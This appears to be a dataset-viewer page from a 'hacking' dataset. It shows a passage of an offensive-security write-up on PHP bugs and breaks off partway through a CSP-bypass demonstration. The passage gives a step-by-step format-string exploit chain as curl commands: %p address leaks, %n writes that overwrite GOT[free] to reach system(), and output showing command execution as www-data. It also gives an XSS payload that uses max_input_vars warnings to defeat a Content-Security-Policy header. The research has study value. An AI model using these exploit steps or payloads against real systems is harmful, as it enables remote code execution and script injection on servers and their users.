Datasets:
Devilishcode
/
hacking

Dataset card Data Studio Files
xet
 Community
text
stringlengths
0
1.99k
| <?php | | <?php | +==========+
| $model = $_GET['mod']; | + | $name = "%n%n%n"; | = [ B O O M !]
| $obj = new $model(); | | $name::doSomething(); | +==========+
+--------------------------+ +--------------------------+
When I first saw Andrew's report, it immediately hit me that this bug
could perfectly combine with the previous attack, creating a fun
combination - something I'd like to call "Format-String Oriented
Programming!"
+--------------------[ One two three - pop that FSB! ]--------------------+
=> [1] leak address through PHP errors
$ curl "http://orange.local/index.php?model=%p-%p-%p"
Fatal error: Uncaught Error: Class '0x23-0x7fffb61f3df0-0x7f1b12666000'
not found in [...]
|-------------------------------- [ next ] -------------------------------|
=> [2] move a heap pointer on stack to `GOT(free)-2`
$ curl "http://orange.local/index.php?model=AAAAAAAAAAA \
AAAAAAAA-%p-%p-%p-[...]-%p-%p-%p-%015373273d-%n"
[...]
|-------------------------------- [ next ] -------------------------------|
=> [3] partially overwrite `GOT[free]` to call `system()`
$ curl "http://orange.local/index.php?model='|id&&exit; \
AAAAAAAA-%p-%p-%p-[...]-%p-%p-%p-%0605504d-%n"
[...]
uid=33(www-data) gid=33(www-data) groups=33(www-data)
+-------------------------------------------------------------------------+
Originally, this was just an idea collecting dust in my notes, waiting for
the perfect moment to turn it into a challenge - but who knew ten years
would fly by like that? Since the perfect timing never came, maybe this is
the right place to write it down - I mean, it's not every day you get to
see a classic format-string bug popping up in a scripting language. That's
PHP for you!
------[ 1.2 - When Security Features Make You Less Secure
Ever since @alech and @zeri shocked everyone, demonstrating how you could
take down almost every programming language through algorithmic complexity
[19], PHP had no choice but to introduce the `max_input_vars` directive as
a countermeasure. Although this measure didn't solve the problem from its
root, at least it prevented resource exhaustion from excessive input.
However, using limitations as a defense can sometimes be a double-edged
sword. Just take PCRE's `backtrack_limit` as an example - it was
originally supposed to block ReDoS, but attackers flipped it and used it
to invalidate regular expressions instead. And now, I'd like to introduce
another interesting one - where a security feature actually leads to a
*security bypass*!
In PHP, there's a hidden trap while setting HTTP headers: if there's any
kind of output before response headers, PHP would simply ignore all
subsequent `header()` calls. The official documentation also explicitly
mentions this:
> Remember that `header()` must be called before any actual output is
> sent, either by normal HTML tags, blank lines in a file, or from
> PHP.
This is a textbook issue, and pops up in many CTF challenges. Yet, in most
cases, it still relies on unexpected output caused by existing logical
errors. But what if today, there's no code before setting response headers
at all - can you still exploit it?
---------------------[ CSP: Content Security Policy ]----------------------
<?php
header("Content-Security-Policy: default-src 'none';");
echo $_GET["xss"];
---------------------------------------------------------------------------
Definitely! @pilvar cleverly exploited a side effect on `max_input_vars`
[20] : when the number of parameters exceeds PHP's limit, PHP kindly
throws a warning message at you. However, this warning indeed violates the
assumption that "there must be no output before the response header,"
totally breaking the defense-in-depth CSP, and re-enabling Cross-Site
Scripting again!
+---------------------[ CSP? Can't Stop Payloads! ]---------------------+
=> [1] CSP says No!
$ curl -i "http://orange.local/?xss=<svg/onload=alert(1)>"
HTTP/1.1 200 OK